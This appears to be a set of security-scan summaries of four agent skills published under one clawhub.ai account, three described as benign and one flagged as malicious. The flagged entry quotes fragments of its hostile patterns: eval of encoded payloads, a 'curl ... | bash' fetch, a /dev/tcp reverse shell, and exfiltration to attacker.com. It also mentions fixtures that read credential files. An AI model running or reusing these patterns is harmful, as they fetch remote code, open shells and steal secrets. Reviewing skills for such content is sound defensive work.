Skills from clawhub.ai/lvcidpsyche

This skill provides agent reputation, threat detection, and discovery across platforms with functions like `getReputation`, `checkThreats`, and `linkIdentities`. It requires `INTELLIGENCE_BACKEND_URL`, connects to `https://intelligence.example.com`, and uses a local cache at `~/.cache/agent-intelligence/`.

Malicious skill: contains obfuscated payloads that `eval` base64/hex strings, executes shell commands (e.g., `curl ... | bash`, `bash -i >& /dev/tcp/...`) and exfiltrates secrets to `https://attacker.com/stolen`. It presents as a scanner/installer (`scan.js`, `safe-download`) while test fixtures read `process.env` and sensitive files like `~/.openclaw/config.json`.

This skill cleans orphaned OpenClaw subagent sessions, archives transcripts to SuperMemory/local/S3, and frees disk space. It includes `python3 scripts/swarm_janitor.py` execution examples and references the `SUPERMEMORY_API_KEY` env var and `supermemory`/`s3` archive destinations.

This skill launches Solana tokens on Pump.fun via `https://api.solpaw.fun/api/v1`, providing TypeScript and CLI examples for paying fees, building/signing transactions, and uploading images. It requires `SOLPAW_API_KEY`, `SOLPAW_CREATOR_WALLET`, and `SOLANA_PRIVATE_KEY`, and includes network calls and shell commands (`curl`, `docker compose up -d`) that are purpose-aligned.